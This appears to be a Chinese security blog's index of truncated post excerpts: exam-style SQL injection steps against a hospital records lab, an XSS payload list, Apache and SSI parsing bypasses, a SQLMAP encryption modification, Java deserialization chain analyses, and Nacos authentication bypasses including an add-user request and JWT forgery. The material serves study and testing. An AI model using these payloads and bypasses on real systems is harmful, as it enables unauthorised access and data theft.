网络安全
未读1.基础题1.1.SQL注入1.1.1.MG医院患者就诊档案管理系统
通过万能用户进入系统
密码考试时会给出
常出现的注入点
通过order by 判断上条查询语句返回的列数(小于等于条目数是返回正确,大于时返回错误)。
1pid=1'+order+by+14--+
注入(考试时不一定是15个,24,18,11都有可能)
1pid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
通过load_file(‘’)读取本地文件(文件路径题目给出)
其他还可能出现注入点的位置
医生-查看患者档案-编辑
患者-编辑
药品-编辑
检查-编辑
治疗-编辑
1.1.2.文章发布
在插入文章位置存在SQL注入(insert)
公式为: 其中gbg必须和注册的用户名一致才能插入成功
12345123','gbg'),('123',(select/**/database()),'a123',' ...
1.常见payload12345678910<script>alert(/xss/)</script><iframe onload=alert("xss");></iframe><textarea></textarea><script>alert(/xss/)</script><link rel=import href="http://127.0.0.1/1.js"><a href="javascript:alert(`xss`);">点击就送</a><iframe src=javascript:alert('xss');></iframe><form action="javascript:alert(`xss`)"><input type=submit> <iMg/src="x" ...
1.Apache1.1.apache 向上解析漏洞
当apache解析一个无法解析的后缀名,会持续向上解析,直到解析完 整个文件名,或者成功解析文件为止。
例如解析a.php.x1.x2.x3,当无法解析x3时会解析到x2,x2无法解析,再解析x1,知道解析到php成功解析为止。
攻击示例:test.php.abc(其中abc不为任意黑名单也不属于Apacha解析白名单),可以用来绕过php的黑名单限制
1.2.apache 换行解析漏洞(CVE-2017-15715)
在解析xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略
上传方法(绕过黑名单)
当为POST请求时,在文件名后缀上加上一个\x0a,(可通过bp改包实现)
解析方法
访问时也需要加上换行符%0a 例如:http://127.0.0.1:8080/phpinfo.php%0A
1.3.SSI服务端嵌入(服务端包含)
默认扩展名.stm、.shtm、.shtml。
以下为文件内容。
1<!--#exec cmd="id"-->
...
1.简介
该项目主要通过修改SQLMAP源代码对SQLMAP文件读入的request进行解密,和对注入payload后发包时的请求进行加密,以此来对存在请求加密的WEB网站进行SQL注入扫描的目的
项目地址:https://github.com/takakie/SQLMAPENC
2.代码结构
主要是修改了三处代码
第一处 请求参数的解密
原代码,代码路径 lib/core/option.py
1234567for target in parseRequestFile(requestFile): url = target[0] if url not in seen: kb.targets.add(target) if len(kb.targets) > 1: conf.multipleTargets = True seen.add(url)
更改后代码
123456789101112from plugins.requestende.requesthandler imp ...
1.简介
该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
pom.xml导入commons-collections依赖
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
2.代码分析2.1.执行类分析
在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTransformer。
首先我们需要分析一下为什么该来可以用来作为执行类。
在该类中存在一个可传入任意对象执行反射调用方法transform,改方法可传入一个Ob ...
1.简介
该系列主要分析各JAVA反序列化漏洞利用链的实际过程,主要用于代码审计。
例如常见的CC链,或者用于入门分析的URLdns链。
2.关于JAVA反序列化的本质
想要分析JAVA的反序列漏洞,那么首先,也是必须搞明白的是反序列化的本质到底是什么,是针对对象还是类,还是属性或者函数,这些概率需要搞清楚。
在JAVA反序列化过程中,JVM会根据字节流中的信息查找相应的类定义,并使用该类定义来创建对象实例,然后根据字节流中的信息设置对象的属性值等状态信息。因此,反序列化是针对对象的,而非类本身。
所以我们需要明白我们序列化的类一定是目标系统有定义的类,而不是自己凭空捏造一个类来序列化,这样目标系统是无法反序列化成功的。也就是说我们没办法编写自己的函数直接在目标系统中执行的。
因此反序列化漏洞的实质是通过嵌套编写对象定义属性值来达到执行目标系统中已有的我们想要执行的那个函数。
3.反序列化漏洞利用链分析流程
在以下所有流程中,我们所选取的类必须满足以下两个条件:
实现了Serializable接口,否则不可进行序列化,就更不存在什么反序列化。
必须为目标机器程序中存在的类。
...
1.简介
在URLDNS这条链中主要是利用HashMap对象反序列化时会调用HashMap对象中Key值对象的hashCode方法,而当我们传入HashMap中Key值是一个URL对象时,则会调用URL对象的hashCode方法,执行该方法时会触发URLStreamHandler对象调用其自身的hashCode方法,其hashCode方法又会调用其自身getHostAddress方法,来解析域名,导致触发DNS解析。
由于该链非常通用,都是JDK自身自带的类,又由于该利用链危害性低,因此该利用链通常用于验证是否存在反序列漏洞。
2.代码分析2.1.入口类HashMap分析
由于HashMap参数的灵活性可以传入两个对象,因此在多数利用链中都会用到该类。
我们知道在JAVA反序列化对象时会自动调用该类的readObject方法,而在HashMap的readObject方法调用了HashMap中的hash方法,而hash方法中又恰好调用了我们可控参数中的key对象的hashcode方法,因此我们可以利用该入口类来实现反序列化漏洞。
HashMap.java
从图中我们可以看到,只要 ...
1.概念
2.新建项目
新建空项目
然后新建模块Spingboot
添加依赖
如果发现不能构建maven,可手动添加
3.编辑配置文件
application.yml
123456789101112131415spring: application: # 应用名称 name: spring-boot-01-kafka-base # kafka连接地址 ip+port kafka: bootstrap-servers: 192.168.100.129:9092 # 配置生产者(共24个) # producer: # 配置消费者(共24个) # consumer:
4.发送消息1234567891011121314151617package com.gaomu.producer;import jakarta.annotation.Resource;import org.springframework.kafka.core.KafkaTemplate;import org.springframework.stere ...
网络安全
未读Nacos
环境搭建
https://github.com/alibaba/nacos
启动路径 nacos/nacos-2.3.2/bin
启动命令
1$ ./startup.sh -m standalone
默认端口号 8888
1.默认口令
访问http://ip:8848/nacos/#/login进入登陆页面
默认口令为nacos/nacos
2.浏览器代理身份绕过(nacos<1.4.1)
将User-Agent: 更改为 Nacos-Server 即可绕过身份认证
以下为用户查询接口
添加用户接口
POST /nacos/v1/auth/users?username=takake&password=123456 HTTP/1.1
3.JWT伪造身份绕过(0.1.0<=nacos<=2.2.0)3.1.原理
nacos通过jwt进行身份认证,由于配置文件中存在默认jwt签名密钥,由于开发者安全意 ...
1.nacos安装配置
在github官网下载:https://github.com/alibaba/nacos
将文件包解压
在bin中使用startup文件进行启动,需要java8+环境
默认以集群方式启动,单机启动命令:
1$ ./startup.sh -m standalone
配置授权token
123456nacos.core.auth.enabled=truenacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789nacos.core.auth.server.identity.key=adminnacos.core.auth.server.identity.value=admin123nacos.console.ui.enabled=true
2.nacos集成springboot
直接获取nacos中值
1234567891011121314151617 <parent& ...